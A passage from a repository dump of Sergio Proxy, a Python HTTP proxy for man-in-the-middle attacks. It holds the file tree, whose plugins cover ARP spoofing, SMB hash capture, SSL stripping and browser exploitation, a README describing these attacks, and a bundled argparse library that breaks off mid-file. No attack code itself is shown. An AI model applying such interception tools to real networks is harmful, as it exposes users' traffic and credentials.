├── README.txt ├── argparse.py ├── data └── blank.pdf ├── examples ├── base-example.args ├── browserpwn-example.args ├── filepwn-example.args └── smbauth-example.args ├── lock.ico ├── plugins ├── ArpSpoof.py ├── BrowserPwn.py ├── CacheKill.py ├── FilePwn.py ├── Inject.py ├── SMBAuth.py ├── StartMSF.py ├── Upsidedownternet.py ├── __init__.py ├── plugin.py └── test.py ├── sergio-proxy.py └── sslstrip ├── COPYING.sslstrip ├── ClientRequest.py ├── CookieCleaner.py ├── DnsCache.py ├── ProxyPlugins.py ├── README.sergio-proxy ├── README.sslstrip ├── SSLServerConnection.py ├── ServerConnection.py ├── ServerConnectionFactory.py ├── StrippingProxy.py ├── URLMonitor.py └── __init__.py /README.txt: -------------------------------------------------------------------------------- 1 | ABOUT SERGIO PROXY 2 | ========================= 3 | Sergio Proxy (a Super Effective Recorder of Gathered Inputs and Outputs) is an 4 | HTTP proxy that was written in Python for the Twisted framework. It's 5 | not anything new (many people have done this before, and better), but I wanted 6 | to learn how it's done and this seemed a good way to go about doing it. As this 7 | started out as a quest to develop a better way of attacking an SMB challenge hash 8 | vulnerability, I have implemented that as one of my included MITM attacks. I also 9 | included the classic Upsidedownternet attack for more fun. 10 | 11 | Hopefully I will be adding some more unique features in the near future when 12 | I get time. Until then, this is all GPL, so feel free to modify and distribute 13 | as you see fit. 14 | 15 | 16 | RELEASE NOTES 17 | ========================= 18 | This is alpha software. No, seriously. I'm not talking Google's "oh, this might 19 | break once or twice if you use it for years." No, I mean seriously alpha, as in 20 | the bugs you will encounter will make you start screaming "WTF, is this man the 21 | worst coder to have ever wasted space on the Earth?" Yes, that bad. Hopefully, 22 | with your bug reports and some more of my time, it will get more stable. But 23 | until then, you have been warned. 24 | 25 | In a similar vein, there are already some known issues with this software that 26 | I would ask you not to waste my time reporting. I have listed a couple of known 27 | bugs below: PLEASE READ THEM BEFORE YOU SUBMIT REPORTS. 28 | 29 | DEPENDENCIES 30 | ======================== 31 | twisted.web Python library 32 | PIL if you want upsidedownternet to work 33 | arpspoof or ettercap if you want to use ArpSpoof plugin 34 | Python (obviously) 35 | 36 | 37 | USAGE 38 | ======================== 39 | Running sergio-proxy with -h will print out all the available options. 40 | 41 | Also see the example argument files in the examples folder. These can be 42 | used as follows: 43 | ./sergio-proxy --myoption1 --myoption2 @file1.args @file2.args ... 44 | 45 | TODO 46 | ======================== 47 | * HTTP/1.1 Support - this will involve modifying twisted itself, so don't hold 48 | your breath for this any time soon. 49 | 50 | * Actual SSL support (rather than just trying to strip). Could be awhile... 51 | 52 | * Add more attacks, obviously 53 | 54 | 55 | KNOWN BUGS 56 | ======================== 57 | Upsidedownternet 58 | Some versions of PIL in the Ubuntu repo's have a bug that causes parsing 59 | of PNG files. You have been warned. The patch available below can fix this: 60 | https://bugs.launchpad.net/ubuntu/+source/python-imaging/+bug/383228 61 | 62 | FOUND BUGS? GOT PATCHES? 63 | ======================== 64 | Send them to me at supernothing AT spareclockcycles DOT org. 65 | -------------------------------------------------------------------------------- /argparse.py: -------------------------------------------------------------------------------- 1 | # Author: Steven J. Bethard . 2 | 3 | """Command-line parsing library 4 | 5 | This module is an optparse-inspired command-line parsing library that: 6 | 7 | - handles both optional and positional arguments 8 | - produces highly informative usage messages 9 | - supports parsers that dispatch to sub-parsers 10 | 11 | The following is a simple usage example that sums integers from the 12 | command-line and writes the result to a file:: 13 | 14 | parser = argparse.ArgumentParser( 15 | description='sum the integers at the command line') 16 | parser.add_argument( 17 | 'integers', metavar='int', nargs='+', type=int, 18 | help='an integer to be summed') 19 | parser.add_argument( 20 | '--log', default=sys.stdout, type=argparse.FileType('w'), 21 | help='the file where the sum should be written') 22 | args = parser.parse_args() 23 | args.log.write('%s' % sum(args.integers)) 24 | args.log.close() 25 | 26 | The module contains the following public classes: 27 | 28 | - ArgumentParser -- The main entry point for command-line parsing. As the 29 | example above shows, the add_argument() method is used to populate 30 | the parser with actions for optional and positional arguments. Then 31 | the parse_args() method is invoked to convert the args at the 32 | command-line into an object with attributes. 33 | 34 | - ArgumentError -- The exception raised by ArgumentParser objects when 35 | there are errors with the parser's actions. Errors raised while 36 | parsing the command-line are caught by ArgumentParser and emitted 37 | as command-line messages. 38 | 39 | - FileType -- A factory for defining types of files to be created. As the 40 | example above shows, instances of FileType are typically passed as 41 | the type= argument of add_argument() calls. 42 | 43 | - Action -- The base class for parser actions. Typically actions are 44 | selected by passing strings like 'store_true' or 'append_const' to 45 | the action= argument of add_argument(). However, for greater 46 | customization of ArgumentParser actions, subclasses of Action may 47 | be defined and passed as the action= argument. 48 | 49 | - HelpFormatter, RawDescriptionHelpFormatter, RawTextHelpFormatter, 50 | ArgumentDefaultsHelpFormatter -- Formatter classes which 51 | may be passed as the formatter_class= argument to the 52 | ArgumentParser constructor. HelpFormatter is the default, 53 | RawDescriptionHelpFormatter and RawTextHelpFormatter tell the parser 54 | not to change the formatting for help text, and 55 | ArgumentDefaultsHelpFormatter adds information about argument defaults 56 | to the help. 57 | 58 | All other classes in this module are considered implementation details. 59 | (Also note that HelpFormatter and RawDescriptionHelpFormatter are only 60 | considered public as object names -- the API of the formatter objects is 61 | still considered an implementation detail.) 62 | """ 63 | 64 | __version__ = '1.2.1' 65 | __all__ = [ 66 | 'ArgumentParser', 67 | 'ArgumentError', 68 | 'ArgumentTypeError', 69 | 'FileType', 70 | 'HelpFormatter', 71 | 'ArgumentDefaultsHelpFormatter', 72 | 'RawDescriptionHelpFormatter', 73 | 'RawTextHelpFormatter', 74 | 'Namespace', 75 | 'Action', 76 | 'ONE_OR_MORE', 77 | 'OPTIONAL', 78 | 'PARSER', 79 | 'REMAINDER', 80 | 'SUPPRESS', 81 | 'ZERO_OR_MORE', 82 | ] 83 | 84 | 85 | import copy as _copy 86 | import os as _os 87 | import re as _re 88 | import sys as _sys 89 | import textwrap as _textwrap 90 | 91 | from gettext import gettext as _ 92 | 93 | try: 94 | set 95 | except NameError: 96 | # for python < 2.4 compatibility (sets module is there since 2.3): 97 | from sets import Set as set 98 | 99 | try: 100 | basestring 101 | except NameError: 102 | basestring = str 103 | 104 | try: 105 | sorted 106 | except NameError: 107 | # for python < 2.4 compatibility: 108 | def sorted(iterable, reverse=False): 109 | result = list(iterable) 110 | result.sort() 111 | if reverse: 112 | result.reverse() 113 | return result 114 | 115 | 116 | def _callable(obj): 117 | return hasattr(obj, '__call__') or hasattr(obj, '__bases__') 118 | 119 | 120 | SUPPRESS = '==SUPPRESS==' 121 | 122 | OPTIONAL = '?' 123 | ZERO_OR_MORE = '*' 124 | ONE_OR_MORE = '+' 125 | PARSER = 'A...' 126 | REMAINDER = '...' 127 | _UNRECOGNIZED_ARGS_ATTR = '_unrecognized_args' 128 | 129 | # ============================= 130 | # Utility functions and classes 131 | # ============================= 132 | 133 | class _AttributeHolder(object): 134 | """Abstract base class that provides __repr__. 135 | 136 | The __repr__ method returns a string in the format:: 137 | ClassName(attr=name, attr=name, ...) 138 | The attributes are determined either by a class-level attribute, 139 | '_kwarg_names', or by inspecting the instance __dict__. 140 | """ 141 | 142 | def __repr__(self): 143 | type_name = type(self).__name__ 144 | arg_strings = [] 145 | for arg in self._get_args(): 146 | arg_strings.append(repr(arg)) 147 | for name, value in self._get_kwargs(): 148 | arg_strings.append('%s=%r' % (name, value)) 149 | return '%s(%s)' % (type_name, ', '.join(arg_strings)) 150 | 151 | def _get_kwargs(self): 152 | return sorted(self.__dict__.items()) 153 | 154 | def _get_args(self): 155 | return [] 156 | 157 | 158 | def _ensure_value(namespace, name, value): 159 | if getattr(namespace, name, None) is None: 160 | setattr(namespace, name, value) 161 | return getattr(namespace, name) 162 | 163 | 164 | # =============== 165 | # Formatting Help 166 | # =============== 167 | 168 | class HelpFormatter(object): 169 | """Formatter for generating usage messages and argument help strings. 170 | 171 | Only the name of this class is considered a public API. All the methods 172 | provided by the class are considered an implementation detail. 173 | """ 174 | 175 | def __init__(self, 176 | prog, 177 | indent_increment=2, 178 | max_help_position=24, 179 | width=None): 180 | 181 | # default setting for width 182 | if width is None: 183 | try: 184 | width = int(_os.environ['COLUMNS']) 185 | except (KeyError, ValueError): 186 | width = 80 187 | width -= 2 188 | 189 | self._prog = prog 190 | self._indent_increment = indent_increment 191 | self._max_help_position = max_help_position 192 | self._width = width 193 | 194 | self._current_indent = 0 195 | self._level = 0 196 | self._action_max_length = 0 197 | 198 | self._root_section = self._Section(self, None) 199 | self._current_section = self._root_section 200 | 201 | self._whitespace_matcher = _re.compile(r'\s+') 202 | self._long_break_matcher = _re.compile(r'\n\n\n+') 203 | 204 | # =============================== 205 | # Section and indentation methods 206 | # =============================== 207 | def _indent(self): 208 | self._current_indent += self._indent_increment 209 | self._level += 1 210 | 211 | def _dedent(self): 212 | self._current_indent -= self._indent_increment 213 | assert self._current_indent >= 0, 'Indent decreased below 0.' 214 | self._level -= 1 215 | 216 | class _Section(object): 217 | 218 | def __init__(self, formatter, parent, heading=None): 219 | self.formatter = formatter 220 | self.parent = parent 221 | self.heading = heading 222 | self.items = [] 223 | 224 | def format_help(self): 225 | # format the indented section 226 | if self.parent is not None: 227 | self.formatter._indent() 228 | join = self.formatter._join_parts 229 | for func, args in self.items: 230 | func(*args) 231 | item_help = join([func(*args) for func, args in self.items]) 232 | if self.parent is not None: 233 | self.formatter._dedent() 234 | 235 | # return nothing if the section was empty 236 | if not item_help: 237 | return '' 238 | 239 | # add the heading if the section was non-empty 240 | if self.heading is not SUPPRESS and self.heading is not None: 241 | current_indent = self.formatter._current_indent 242 | heading = '%*s%s:\n' % (current_indent, '', self.heading) 243 | else: 244 | heading = '' 245 | 246 | # join the section-initial newline, the heading and the help 247 | return join(['\n', heading, item_help, '\n']) 248 | 249 | def _add_item(self, func, args): 250 | self._current_section.items.append((func, args)) 251 | 252 | # ======================== 253 | # Message building methods 254 | # ======================== 255 | def start_section(self, heading): 256 | self._indent() 257 | section = self._Section(self, self._current_section, heading) 258 | self._add_item(section.format_help, []) 259 | self._current_section = section 260 | 261 | def end_section(self): 262 | self._current_section = self._current_section.parent 263 | self._dedent() 264 | 265 | def add_text(self, text): 266 | if text is not SUPPRESS and text is not None: 267 | self._add_item(self._format_text, [text]) 268 | 269 | def add_usage(self, usage, actions, groups, prefix=None): 270 | if usage is not SUPPRESS: 271 | args = usage, actions, groups, prefix 272 | self._add_item(self._format_usage, args) 273 | 274 | def add_argument(self, action): 275 | if action.help is not SUPPRESS: 276 | 277 | # find all invocations 278 | get_invocation = self._format_action_invocation 279 | invocations = [get_invocation(action)] 280 | for subaction in self._iter_indented_subactions(action): 281 | invocations.append(get_invocation(subaction)) 282 | 283 | # update the maximum item length 284 | invocation_length = max([len(s) for s in invocations]) 285 | action_length = invocation_length + self._current_indent 286 | self._action_max_length = max(self._action_max_length, 287 | action_length) 288 | 289 | # add the item to the list 290 | self._add_item(self._format_action, [action]) 291 | 292 | def add_arguments(self, actions): 293 | for action in actions: 294 | self.add_argument(action) 295 | 296 | # ======================= 297 | # Help-formatting methods 298 | # ======================= 299 | def format_help(self): 300 | help = self._root_section.format_help() 301 | if help: 302 | help = self._long_break_matcher.sub('\n\n', help) 303 | help = help.strip('\n') + '\n' 304 | return help 305 | 306 | def _join_parts(self, part_strings): 307 | return ''.join([part 308 | for part in part_strings 309 | if part and part is not SUPPRESS]) 310 | 311 | def _format_usage(self, usage, actions, groups, prefix): 312 | if prefix is None: 313 | prefix = _('usage: ') 314 | 315 | # if usage is specified, use that 316 | if usage is not None: 317 | usage = usage % dict(prog=self._prog) 318 | 319 | # if no optionals or positionals are available, usage is just prog 320 | elif usage is None and not actions: 321 | usage = '%(prog)s' % dict(prog=self._prog) 322 | 323 | # if optionals and positionals are available, calculate usage 324 | elif usage is None: 325 | prog = '%(prog)s' % dict(prog=self._prog) 326 | 327 | # split optionals from positionals 328 | optionals = [] 329 | positionals = [] 330 | for action in actions: 331 | if action.option_strings: 332 | optionals.append(action) 333 | else: 334 | positionals.append(action) 335 | 336 | # build full usage string 337 | format = self._format_actions_usage 338 | action_usage = format(optionals + positionals, groups) 339 | usage = ' '.join([s for s in [prog, action_usage] if s]) 340 | 341 | # wrap the usage parts if it's too long 342 | text_width = self._width - self._current_indent 343 | if len(prefix) + len(usage) > text_width: 344 | 345 | # break usage into wrappable parts 346 | part_regexp = r'\(.*?\)+|\[.*?\]+|\S+' 347 | opt_usage = format(optionals, groups) 348 | pos_usage = format(positionals, groups) 349 | opt_parts = _re.findall(part_regexp, opt_usage) 350 | pos_parts = _re.findall(part_regexp, pos_usage) 351 | assert ' '.join(opt_parts) == opt_usage 352 | assert ' '.join(pos_parts) == pos_usage 353 | 354 | # helper for wrapping lines 355 | def get_lines(parts, indent, prefix=None): 356 | lines = [] 357 | line = [] 358 | if prefix is not None: 359 | line_len = len(prefix) - 1 360 | else: 361 | line_len = len(indent) - 1 362 | for part in parts: 363 | if line_len + 1 + len(part) > text_width: 364 | lines.append(indent + ' '.join(line)) 365 | line = [] 366 | line_len = len(indent) - 1 367 | line.append(part) 368 | line_len += len(part) + 1 369 | if line: 370 | lines.append(indent + ' '.join(line)) 371 | if prefix is not None: 372 | lines[0] = lines[0][len(indent):] 373 | return lines 374 | 375 | # if prog is short, follow it with optionals or positionals 376 | if len(prefix) + len(prog) <= 0.75 * text_width: 377 | indent = ' ' * (len(prefix) + len(prog) + 1) 378 | if opt_parts: 379 | lines = get_lines([prog] + opt_parts, indent, prefix) 380 | lines.extend(get_lines(pos_parts, indent)) 381 | elif pos_parts: 382 | lines = get_lines([prog] + pos_parts, indent, prefix) 383 | else: 384 | lines = [prog] 385 | 386 | # if prog is long, put it on its own line 387 | else: 388 | indent = ' ' * len(prefix) 389 | parts = opt_parts + pos_parts 390 | lines = get_lines(parts, indent) 391 | if len(lines) > 1: 392 | lines = [] 393 | lines.extend(get_lines(opt_parts, indent)) 394 | lines.extend(get_lines(pos_parts, indent)) 395 | lines = [prog] + lines 396 | 397 | # join lines into usage 398 | usage = '\n'.join(lines) 399 | 400 | # prefix with 'usage:' 401 | return '%s%s\n\n' % (prefix, usage) 402 | 403 | def _format_actions_usage(self, actions, groups): 404 | # find group indices and identify actions in groups 405 | group_actions = set() 406 | inserts = {} 407 | for group in groups: 408 | try: 409 | start = actions.index(group._group_actions[0]) 410 | except ValueError: 411 | continue 412 | else: 413 | end = start + len(group._group_actions) 414 | if actions[start:end] == group._group_actions: 415 | for action in group._group_actions: 416 | group_actions.add(action) 417 | if not group.required: 418 | if start in inserts: 419 | inserts[start] += ' [' 420 | else: 421 | inserts[start] = '[' 422 | inserts[end] = ']' 423 | else: 424 | if start in inserts: 425 | inserts[start] += ' (' 426 | else: 427 | inserts[start] = '(' 428 | inserts[end] = ')' 429 | for i in range(start + 1, end): 430 | inserts[i] = '|' 431 | 432 | # collect all actions format strings 433 | parts = [] 434 | for i, action in enumerate(actions): 435 | 436 | # suppressed arguments are marked with None 437 | # remove | separators for suppressed arguments 438 | if action.help is SUPPRESS: 439 | parts.append(None) 440 | if inserts.get(i) == '|': 441 | inserts.pop(i) 442 | elif inserts.get(i + 1) == '|': 443 | inserts.pop(i + 1) 444 | 445 | # produce all arg strings 446 | elif not action.option_strings: 447 | part = self._format_args(action, action.dest) 448 | 449 | # if it's in a group, strip the outer [] 450 | if action in group_actions: 451 | if part[0] == '[' and part[-1] == ']': 452 | part = part[1:-1] 453 | 454 | # add the action string to the list 455 | parts.append(part) 456 | 457 | # produce the first way to invoke the option in brackets 458 | else: 459 | option_string = action.option_strings[0] 460 | 461 | # if the Optional doesn't take a value, format is: 462 | # -s or --long 463 | if action.nargs == 0: 464 | part = '%s' % option_string 465 | 466 | # if the Optional takes a value, format is: 467 | # -s ARGS or --long ARGS 468 | else: 469 | default = action.dest.upper() 470 | args_string = self._format_args(action, default) 471 | part = '%s %s' % (option_string, args_string) 472 | 473 | # make it look optional if it's not required or in a group 474 | if not action.required and action not in group_actions: 475 | part = '[%s]' % part 476 | 477 | # add the action string to the list 478 | parts.append(part) 479 | 480 | # insert things at the necessary indices 481 | for i in sorted(inserts, reverse=True): 482 | parts[i:i] = [inserts[i]] 483 | 484 | # join all the action items with spaces 485 | text = ' '.join([item for item in parts if item is not None]) 486 | 487 | # clean up separators for mutually exclusive groups 488 | open = r'[\[(]' 489 | close = r'[\])]' 490 | text = _re.sub(r'(%s) ' % open, r'\1', text) 491 | text = _re.sub(r' (%s)' % close, r'\1', text) 492 | text = _re.sub(r'%s *%s' % (open, close), r'', text) 493 | text = _re.sub(r'\(([^|]*)\)', r'\1', text) 494 | text = text.strip() 495 | 496 | # return the text 497 | return text 498 | 499 | def _format_text(self, text): 500 | if '%(prog)' in text: 501 | text = text % dict(prog=self._prog) 502 | text_width = self._width - self._current_indent 503 | indent = ' ' * self._current_indent 504 | return self._fill_text(text, text_width, indent) + '\n\n' 505 | 506 | def _format_action(self, action): 507 | # determine the required width and the entry label 508 | help_position = min(self._action_max_length + 2, 509 | self._max_help_position) 510 | help_width = self._width - help_position 511 | action_width = help_position - self._current_indent - 2 512 | action_header = self._format_action_invocation(action) 513 | 514 | # ho nelp; start on same line and add a final newline 515 | if not action.help: 516 | tup = self._current_indent, '', action_header 517 | action_header = '%*s%s\n' % tup 518 | 519 | # short action name; start on the same line and pad two spaces 520 | elif len(action_header) <= action_width: 521 | tup = self._current_indent, '', action_width, action_header 522 | action_header = '%*s%-*s ' % tup 523 | indent_first = 0 524 | 525 | # long action name; start on the next line 526 | else: 527 | tup = self._current_indent, '', action_header 528 | action_header = '%*s%s\n' % tup 529 | indent_first = help_position 530 | 531 | # collect the pieces of the action help 532 | parts = [action_header] 533 | 534 | # if there was help for the action, add lines of help text 535 | if action.help: 536 | help_text = self._expand_help(action) 537 | help_lines = self._split_lines(help_text, help_width) 538 | parts.append('%*s%s\n' % (indent_first, '', help_lines[0])) 539 | for line in help_lines[1:]: 540 | parts.append('%*s%s\n' % (help_position, '', line)) 541 | 542 | # or add a newline if the description doesn't end with one 543 | elif not action_header.endswith('\n'): 544 | parts.append('\n') 545 | 546 | # if there are any sub-actions, add their help as well 547 | for subaction in self._iter_indented_subactions(action): 548 | parts.append(self._format_action(subaction)) 549 | 550 | # return a single string 551 | return self._join_parts(parts) 552 | 553 | def _format_action_invocation(self, action): 554 | if not action.option_strings: 555 | metavar, = self._metavar_formatter(action, action.dest)(1) 556 | return metavar 557 | 558 | else: 559 | parts = [] 560 | 561 | # if the Optional doesn't take a value, format is: 562 | # -s, --long 563 | if action.nargs == 0: 564 | parts.extend(action.option_strings) 565 | 566 | # if the Optional takes a value, format is: 567 | # -s ARGS, --long ARGS 568 | else: 569 | default = action.dest.upper() 570 | args_string = self._format_args(action, default) 571 | for option_string in action.option_strings: 572 | parts.append('%s %s' % (option_string, args_string)) 573 | 574 | return ', '.join(parts) 575 | 576 | def _metavar_formatter(self, action, default_metavar): 577 | if action.metavar is not None: 578 | result = action.metavar 579 | elif action.choices is not None: 580 | choice_strs = [str(choice) for choice in action.choices] 581 | result = '{%s}' % ','.join(choice_strs) 582 | else: 583 | result = default_metavar 584 | 585 | def format(tuple_size): 586 | if isinstance(result, tuple): 587 | return result 588 | else: 589 | return (result, ) * tuple_size 590 | return format 591 | 592 | def _format_args(self, action, default_metavar): 593 | get_metavar = self._metavar_formatter(action, default_metavar) 594 | if action.nargs is None: 595 | result = '%s' % get_metavar(1) 596 | elif action.nargs == OPTIONAL: 597 | result = '[%s]' % get_metavar(1) 598 | elif action.nargs == ZERO_OR_MORE: 599 | result = '[%s [%s ...]]' % get_metavar(2) 600 | elif action.nargs == ONE_OR_MORE: 601 | result = '%s [%s ...]' % get_metavar(2) 602 | elif action.nargs == REMAINDER: 603 | result = '...' 604 | elif action.nargs == PARSER: 605 | result = '%s ...' % get_metavar(1) 606 | else: 607 | formats = ['%s' for _ in range(action.nargs)] 608 | result = ' '.join(formats) % get_metavar(action.nargs) 609 | return result 610 | 611 | def _expand_help(self, action): 612 | params = dict(vars(action), prog=self._prog) 613 | for name in list(params): 614 | if params[name] is SUPPRESS: 615 | del params[name] 616 | for name in list(params): 617 | if hasattr(params[name], '__name__'): 618 | params[name] = params[name].__name__ 619 | if params.get('choices') is not None: 620 | choices_str = ', '.join([str(c) for c in params['choices']]) 621 | params['choices'] = choices_str 622 | return self._get_help_string(action) % params 623 | 624 | def _iter_indented_subactions(self, action): 625 | try: 626 | get_subactions = action._get_subactions 627 | except AttributeError: 628 | pass 629 | else: 630 | self._indent() 631 | for subaction in get_subactions(): 632 | yield subaction 633 | self._dedent() 634 | 635 | def _split_lines(self, text, width): 636 | text = self._whitespace_matcher.sub(' ', text).strip() 637 | return _textwrap.wrap(text, width) 638 | 639 | def _fill_text(self, text, width, indent): 640 | text = self._whitespace_matcher.sub(' ', text).strip() 641 | return _textwrap.fill(text, width, initial_indent=indent, 642 | subsequent_indent=indent) 643 | 644 | def _get_help_string(self, action): 645 | return action.help 646 | 647 | 648 | class RawDescriptionHelpFormatter(HelpFormatter): 649 | """Help message formatter which retains any formatting in descriptions. 650 | 651 | Only the name of this class is considered a public API. All the methods 652 | provided by the class are considered an implementation detail. 653 | """ 654 | 655 | def _fill_text(self, text, width, indent): 656 | return ''.join([indent + line for line in text.splitlines(True)]) 657 | 658 | 659 | class RawTextHelpFormatter(RawDescriptionHelpFormatter): 660 | """Help message formatter which retains formatting of all help text. 661 | 662 | Only the name of this class is considered a public API. All the methods 663 | provided by the class are considered an implementation detail. 664 | """ 665 | 666 | def _split_lines(self, text, width): 667 | return text.splitlines() 668 | 669 | 670 | class ArgumentDefaultsHelpFormatter(HelpFormatter): 671 | """Help message formatter which adds default values to argument help. 672 | 673 | Only the name of this class is considered a public API. All the methods 674 | provided by the class are considered an implementation detail. 675 | """ 676 | 677 | def _get_help_string(self, action): 678 | help = action.help 679 | if '%(default)' not in action.help: 680 | if action.default is not SUPPRESS: 681 | defaulting_nargs = [OPTIONAL, ZERO_OR_MORE] 682 | if action.option_strings or action.nargs in defaulting_nargs: 683 | help += ' (default: %(default)s)' 684 | return help 685 | 686 | 687 | # ===================== 688 | # Options and Arguments 689 | # ===================== 690 | 691 | def _get_action_name(argument): 692 | if argument is None: 693 | return None 694 | elif argument.option_strings: 695 | return '/'.join(argument.option_strings) 696 | elif argument.metavar not in (None, SUPPRESS): 697 | return argument.metavar 698 | elif argument.dest not in (None, SUPPRESS): 699 | return argument.dest 700 | else: 701 | return None 702 | 703 | 704 | class ArgumentError(Exception): 705 | """An error from creating or using an argument (optional or positional). 706 | 707 | The string value of this exception is the message, augmented with 708 | information about the argument that caused it. 709 | """ 710 | 711 | def __init__(self, argument, message): 712 | self.argument_name = _get_action_name(argument) 713 | self.message = message 714 | 715 | def __str__(self): 716 | if self.argument_name is None: 717 | format = '%(message)s' 718 | else: 719 | format = 'argument %(argument_name)s: %(message)s' 720 | return format % dict(message=self.message, 721 | argument_name=self.argument_name) 722 | 723 | 724 | class ArgumentTypeError(Exception): 725 | """An error from trying to convert a command line string to a type.""" 726 | pass 727 | 728 | 729 | # ============== 730 | # Action classes 731 | # ============== 732 | 733 | class Action(_AttributeHolder): 734 | """Information about how to convert command line strings to Python objects. 735 | 736 | Action objects are used by an ArgumentParser to represent the information 737 | needed to parse a single argument from one or more strings from the 738 | command line. The keyword arguments to the Action constructor are also 739 | all attributes of Action instances. 740 | 741 | Keyword Arguments: 742 | 743 | - option_strings -- A list of command-line option strings which 744 | should be associated with this action. 745 | 746 | - dest -- The name of the attribute to hold the created object(s) 747 | 748 | - nargs -- The number of command-line arguments that should be 749 | consumed. By default, one argument will be consumed and a single 750 | value will be produced. Other values include: 751 | - N (an integer) consumes N arguments (and produces a list) 752 | - '?' consumes zero or one arguments 753 | - '*' consumes zero or more arguments (and produces a list) 754 | - '+' consumes one or more arguments (and produces a list) 755 | Note that the difference between the default and nargs=1 is that 756 | with the default, a single value will be produced, while with 757 | nargs=1, a list containing a single value will be produced. 758 | 759 | - const -- The value to be produced if the option is specified and the 760 | option uses an action that takes no values. 761 | 762 | - default -- The value to be produced if the option is not specified. 763 | 764 | - type -- The type which the command-line arguments should be converted 765 | to, should be one of 'string', 'int', 'float', 'complex' or a 766 | callable object that accepts a single string argument. If None, 767 | 'string' is assumed. 768 | 769 | - choices -- A container of values that should be allowed. If not None, 770 | after a command-line argument has been converted to the appropriate 771 | type, an exception will be raised if it is not a member of this 772 | collection. 773 | 774 | - required -- True if the action must always be specified at the 775 | command line. This is only meaningful for optional command-line 776 | arguments. 777 | 778 | - help -- The help string describing the argument. 779 | 780 | - metavar -- The name to be used for the option's argument with the 781 | help string. If None, the 'dest' value will be used as the name. 782 | """ 783 | 784 | def __init__(self, 785 | option_strings, 786 | dest, 787 | nargs=None, 788 | const=None, 789 | default=None, 790 | type=None, 791 | choices=None, 792 | required=False, 793 | help=None, 794 | metavar=None): 795 | self.option_strings = option_strings 796 | self.dest = dest 797 | self.nargs = nargs 798 | self.const = const 799 | self.default = default 800 | self.type = type 801 | self.choices = choices 802 | self.required = required 803 | self.help = help 804 | self.metavar = metavar 805 | 806 | def _get_kwargs(self): 807 | names = [ 808 | 'option_strings', 809 | 'dest', 810 | 'nargs', 811 | 'const', 812 | 'default', 813 | 'type', 814 | 'choices', 815 | 'help', 816 | 'metavar', 817 | ] 818 | return [(name, getattr(self, name)) for name in names] 819 | 820 | def __call__(self, parser, namespace, values, option_string=None): 821 | raise NotImplementedError(_('.__call__() not defined')) 822 | 823 | 824 | class _StoreAction(Action): 825 | 826 | def __init__(self, 827 | option_strings, 828 | dest, 829 | nargs=None, 830 | const=None, 831 | default=None, 832 | type=None, 833 | choices=None, 834 | required=False, 835 | help=None, 836 | metavar=None): 837 | if nargs == 0: 838 | raise ValueError('nargs for store actions must be > 0; if you ' 839 | 'have nothing to store, actions such as store ' 840 | 'true or store const may be more appropriate') 841 | if const is not None and nargs != OPTIONAL: 842 | raise ValueError('nargs must be %r to supply const' % OPTIONAL) 843 | super(_StoreAction, self).__init__( 844 | option_strings=option_strings, 845 | dest=dest, 846 | nargs=nargs, 847 | const=const, 848 | default=default, 849 | type=type, 850 | choices=choices, 851 | required=required, 852 | help=help, 853 | metavar=metavar) 854 | 855 | def __call__(self, parser, namespace, values, option_string=None): 856 | setattr(namespace, self.dest, values) 857 | 858 | 859 | class _StoreConstAction(Action): 860 | 861 | def __init__(self, 862 | option_strings, 863 | dest, 864 | const, 865 | default=None, 866 | required=False, 867 | help=None, 868 | metavar=None): 869 | super(_StoreConstAction, self).__init__( 870 | option_strings=option_strings, 871 | dest=dest, 872 | nargs=0, 873 | const=const, 874 | default=default, 875 | required=required, 876 | help=help) 877 | 878 | def __call__(self, parser, namespace, values, option_string=None): 879 | setattr(namespace, self.dest, self.const) 880 | 881 | 882 | class _StoreTrueAction(_StoreConstAction): 883 | 884 | def __init__(self, 885 | option_strings, 886 | dest, 887 | default=False, 888 | required=False, 889 | help=None): 890 | super(_StoreTrueAction, self).__init__( 891 | option_strings=option_strings, 892 | dest=dest, 893 | const=True, 894 | default=default, 895 | required=required, 896 | help=help) 897 | 898 | 899 | class _StoreFalseAction(_StoreConstAction): 900 | 901 | def __init__(self, 902 | option_strings, 903 | dest, 904 | default=True, 905 | required=False, 906 | help=None): 907 | super(_StoreFalseAction, self).__init__( 908 | option_strings=option_strings, 909 | dest=dest, 910 | const=False, 911 | default=default, 912 | required=required, 913 | help=help) 914 | 915 | 916 | class _AppendAction(Action): 917 | 918 | def __init__(self, 919 | option_strings, 920 | dest, 921 | nargs=None, 922 | const=None, 923 | default=None, 924 | type=None, 925 | choices=None, 926 | required=False, 927 | help=None, 928 | metavar=None): 929 | if nargs == 0: 930 | raise ValueError('nargs for append actions must be > 0; if arg ' 931 | 'strings are not supplying the value to append, ' 932 | 'the append const action may be more appropriate') 933 | if const is not None and nargs != OPTIONAL: 934 | raise ValueError('nargs must be %r to supply const' % OPTIONAL) 935 | super(_AppendAction, self).__init__( 936 | option_strings=option_strings, 937 | dest=dest, 938 | nargs=nargs, 939 | const=const, 940 | default=default, 941 | type=type, 942 | choices=choices, 943 | required=required, 944 | help=help, 945 | metavar=metavar) 946 | 947 | def __call__(self, parser, namespace, values, option_string=None): 948 | items = _copy.copy(_ensure_value(namespace, self.dest, [])) 949 | items.append(values) 950 | setattr(namespace, self.dest, items) 951 | 952 | 953 | class _AppendConstAction(Action): 954 | 955 | def __init__(self, 956 | option_strings, 957 | dest, 958 | const, 959 | default=None, 960 | required=False, 961 | help=None, 962 | metavar=None): 963 | super(_AppendConstAction, self).__init__( 964 | option_strings=option_strings, 965 | dest=dest, 966 | nargs=0, 967 | const=const, 968 | default=default, 969 | required=required, 970 | help=help, 971 | metavar=metavar) 972 | 973 | def __call__(self, parser, namespace, values, option_string=None): 974 | items = _copy.copy(_ensure_value(namespace, self.dest, [])) 975 | items.append(self.const) 976 | setattr(namespace, self.dest, items) 977 | 978 | 979 | class _CountAction(Action): 980 | 981 | def __init__(self, 982 | option_strings, 983 | dest, 984 | default=None, 985 | required=False, 986 | help=None): 987 | super(_CountAction, self).__init__( 988 | option_strings=option_strings, 989 | dest=dest, 990 | nargs=0, 991 | default=default, 992 | required=required, 993 | help=help) 994 | 995 | def __call__(self, parser, namespace, values, option_string=None): 996 | new_count = _ensure_value(namespace, self.dest, 0) + 1 997 | setattr(namespace, self.dest, new_count) 998 | 999 | 1000 | class _HelpAction(Action): 1001 | 1002 | def __init__(self, 1003 | option_strings, 1004 | dest=SUPPRESS, 1005 | default=SUPPRESS, 1006 | help=None): 1007 | super(_HelpAction, self).__init__( 1008 | option_strings=option_strings, 1009 | dest=dest, 1010 | default=default, 1011 | nargs=0, 1012 | help=help) 1013 | 1014 | def __call__(self, parser, namespace, values, option_string=None): 1015 